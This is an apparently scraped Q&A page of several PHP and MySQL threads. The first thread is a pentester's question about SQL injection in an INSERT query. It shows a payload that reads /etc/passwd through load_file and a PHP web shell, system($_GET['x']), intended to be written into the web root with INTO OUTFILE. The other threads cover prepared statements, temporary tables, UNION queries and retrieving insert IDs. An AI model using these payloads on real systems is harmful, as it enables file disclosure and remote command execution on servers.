SELECT INTO OUTFILE in an INSERT MySQL Query - php

Here's an interesting scenario. During a recent pentest, I came across a SQL injection inside an INSERT query. The backend code looks something like this:
$sqlquery= "INSERT INTO sometable set col1='" + $_GET['param'] + "'";
I'm able to insert arbitrary values into the file and even use a SELECT sub query to insert the contents of '/etc/passwd' to the col1 inside sometable and read it later via a completely different functionality somewhere else in the application.
$sqlquery= "INSERT INTO sometable set col1='1', (SELECT load_file('/etc/passwd'))";
The challenge is to write a file to disk using INTO OUTFILE (I have FILE privs and the document root is writable by the MySQL user - verified). It looks like MySQL does not support the following:
$sqlquery= "INSERT INTO sometable set col1='1', (SELECT 'a' INTO OUTFILE '/tmp/data.txt')";
The aim is to write a php web shell in a folder where I have write permissions. The final query that needs to be executed is this:
$sqlquery= "INSERT INTO sometable set col1='1', (SELECT '<?php system($_GET['x']) ?>' INTO OUTFILE'/var/www/app/imgupload/shell.php')";
MySQL expects data to be returned by sub-queries which is why the above statement does not seem to work since INTO OUTFILE will write data to disk instead of returning it to MySQL.
Do you think there is a workaround?

From http://dev.mysql.com/doc/refman/5.7/en/select-into.html
An INTO clause should not be used in a nested SELECT because such a
SELECT must return its result to the outer context.
So the answer is no, I think.
Also see mysql insert can't with select into outfile?

Related

Using parameters to replace mysql fieldnames for prepared statement

I am adding a temporary table which contains a list of filenames which a second query will use. I understand that filenames can be used for sql injection, so I want to use prepared statements.
A simplified version of my working query looks like this (e.g. there could be 50 filenames):
CREATE TEMPORARY TABLE tempfile(filename varchar(100));
INSERT INTO tempfile (filename)
SELECT filename FROM (
SELECT 'myfile.jpg' AS filename UNION SELECT "myfile2.jpg") xx;
I tried to replace it with:
CREATE TEMPORARY TABLE tempfile(filename varchar(100));
INSERT INTO tempfile (filename)
SELECT filename FROM (
SELECT ? AS filename UNION SELECT ?) xx;
But mysql gives me a syntax error. Any ideas how to use parameters with this query?
And if you can give me a better title for this post, I will change it.
UPDATE - NOTE
The above query will insert two records. You can then query them with:
SELECT tf.filename FROM tempfile
Try something like this:
INSERT INTO tempfile (filename)
VALUES
(?),(?),(?);
I was converting a multi_query to a prepared statement and each statement needed to be run with a separate prepare and execute. Simple and obvious.

How to deal with the semi-colon in select from dual;

Ive been tasked to write a simple php+oracle web reprting tool and I happen to have chanced a pretty complex query that perfectly works in SQL Developer:
SELECT 'LASTNAME, FIRSTNAME, STATUS' from dual;
with user as
(
...
..
..
..
(very long query)
and then it gives me this:
PHP Warning: oci_execute(): ORA-00911: invalid character
based on my initial investigation, it looks like PHP complains about the ';' after first line (where it says select from ... dual ;)
On the PHP side, it looks like this:
$stid = oci_parse($conn, $query);
oci_execute($stid);
where $query is the very long query:
$query = "SELECT 'LASTNAME, FIRSTNAME, STATUS' from dual;
with user as
(
...
..
..
..
I want to know if there is a way to rewrite the entire query without using the 'dual' part?
Dual table is a dummy table with an single row, single column, only data is X.
You can create you own dual table, it is just a dummy table. may be you want to repeat the result twice and create a dual2 table with two row in it. the content doesn't matter.

PDO Create Temp Table and Select

I am trying to create a temporary table from the results of multiple tables that are alike (same table structure). After creating the temporary table and runing the subsequent queries, I would like to store the results from the temporary table in an array to be accessible later in the script/program. I have tried searching for an answer and can't seem to find one.
I have tried nextRowset() as well as separating the queries, but nothing seems to be working like I expect it to work.
Here is my code:
$pdo = new PDO("mysql:host=".$_SESSION['server'].";dbname=data".$_SESSION['sysident'],$user,$pass);
$stmt = $pdo->prepare("DROP TABLE IF EXISTS $tabletocreate;
CREATE TEMPORARY TABLE $tabletocreate LIKE table1;
INSERT INTO $tabletocreate (SELECT * FROM table1 WHERE (MISC LIKE '%:memno%' OR MEMNO = :memno)) UNION (SELECT * FROM table2 WHERE (MISC LIKE '%:memno%' OR MEMNO = :memno)) UNION (SELECT * FROM table3 WHERE (MISC LIKE '%:memno%' OR MEMNO = :memno)) ORDER BY SLIPNO;
SELECT * FROM $tabletocreate");
$stmt->bindParam(":memno",$_SESSION['memno']);
$stmt->execute();
$stmt->nextRowset();
$test = $stmt->fetchAll();
print_r($test);
I am unsure as to why the results are not being stored into the array. From what I can tell, everything seems right and no errors occur when the script is ran. I appreciate any help that anyone can offer.
UPDATE - I found out why the query wasn't working. I was using a "-" in the table name I was trying to create which isn't allowed.
You cannot run multiple queries in a single ->query() call. This is a security measure in the underlying PHP mysql drivers, to prevent some form of SQL injection attacks. Doesn't matter which DB interface library you're using, because they all use the same underlying drivers. You'll have to run each seperate query separately:
->query("DROP TABLE IF EXISTS ...");
->query("CREATE TEMPORARY TABLE ...");
->query("INSERT INTO ...");
etc...
I was trying to create a table name with a "-" in the table name. After removing this from the table name, all the queries executed successfully and my PHP code worked as intended.

Mysql SELECT and UNION multiple tables with a similar name

I was wondering if it is possible to create a dynamic Union query for all tables with the same name but with a different number at the end. I have created a system but with each user having their own table such as:
user_table_$userID
I have achieved this in PHP but really would like to create a more dynamic code. I currently have 2-3 nested queries to grab the posts from each table without putting strain on the web server or database.
I suppose I could count the number of users in the user login table and create a for loop:
for ($i = 1; $i >= $usrCount; $i++)
{
$queryArray[] = "(SELECT post_title, post_description FROM user_table_" . $i . ") UNION";
}
But if the user count is a very large number the PHP script could take a long time to load. Is there any way I could get the Mysql database to create a dynamic query based on tables with the name like = "user_table_%"
If there are any suggestions please let me know.
Thank you.
Maybe it's better to normalize your database, but if you need a dynamic query you could use this:
SELECT
GROUP_CONCAT(
CONCAT(
'SELECT * FROM `',
TABLE_NAME,
'`') SEPARATOR ' UNION ALL ')
FROM
`INFORMATION_SCHEMA`.`TABLES`
WHERE
`TABLE_NAME` REGEXP '^user\_[0-9]*$'
INTO #sql;
PREPARE stmt FROM #sql;
EXECUTE stmt;
Please see fiddle here.
You can't and even if you find a clever hack you shouldn't.
Your best bet is to think again about your database schema. I assure you that your current structure is BAD, very very BAD. What if by chance you develop the new facebook? will you have ONE BILLION TABLES?
search for google about "database normalization" and "3rd normal form"
Seems like you should have only one table user_table containing a user_id field.
Now if you still want to keep your current model and need MySQL to build your query, maybe you could:
SHOW TABLES LIKE "user_table_%";
Create a temporary table and do INSERT SELECT for each table.
But again, it's barely advised to say the least
First normalized your table,for the time being you can run this query
SELECT post_title, post_description FROM (select table_name from INFORMATION_SCHEMA where table_name like 'user_table_%';
This should work fine (but consider "database normalization")
for ($i = 1; $i >= $usrCount; $i++){
$queryArray[$i] = "(SELECT post_title, post_description FROM user_table_".$i.")";
}
$sql = implode(' UNION ', $queryArray);
Dynamic queries are called Views in MySQL. These are virtual tables that contain the results from querying other tables and are persisted so survive a restart of the server. Here is an example of creating a view that contains the posts from all users:
CREATE OR REPLACE VIEW all_users.posts AS
SELECT * FROM user1.posts
UNION ALL
SELECT * FROM user2.posts;
Learn more here:
https://dev.mysql.com/doc/refman/8.0/en/views.html

SQL - INSERT and catch the id auto-increment value

What is the best way to get the auto-id value in the same SQL with a SELECT?
A forum said adding this "; has Return Scope_Identity()"
in the end of the SQL works in ASP.
Is there a corresponding way in PHP?
It depends on your database server. Using MySQL, call mysql_insert_id() immediately after your insert query. Using PostgreSQL, first query "select nextval(seq)" on the sequence and include the key in your insert query.
Querying for "select max(id) + 1 from tbl" could fail if another request inserts a record simultaneously.
In postgres the best way is to do something like:
insert into foos(name) values ('my_foo') returning id;
It depends on the database engine you are using. Some DBMS, like Firebird for example, have RETURNING clause you can add to your query. For example, if you have a table named TABLE1 with autoincrement column named ID, you can use this:
insert into TABLE1(columns...) values (values...) returning ID;
And it would return the inserted ID just like a regular select statement.
In Microsoft Transact SQL you can use ##IDENTITY.
e.g.
DECLARE #Table TABLE ( col0 INT IDENTITY, col1 VARCHAR(255), col2 VARCHAR(255))
INSERT INTO #Table (col1, col2) VALUES ('Hello','World!')
SELECT ##Identity
SELECT * FROM #Table
In php: mysql_insert_id()
http://us3.php.net/mysql_insert_id
or
If you wanted to genterate the number from your mySql select query, you could use this
EDIT:
SELECT LAST_INSERT_ID(`1`) + 1 FROM table
Be very careful: Apparently select nextval(seq) does not work in high concurrency - some other connection can insert between the time when you inserted and the time when you called select nextval(seq). Always test such code in high concurrency test harnesses.
In SQL Server a insert using the select statement can have an output clause which will return the identity value and whatever other columns you might need to identify which identity goes to which record. If you are using a values clause, then use select scope_identity () immediately after the insert.

Categories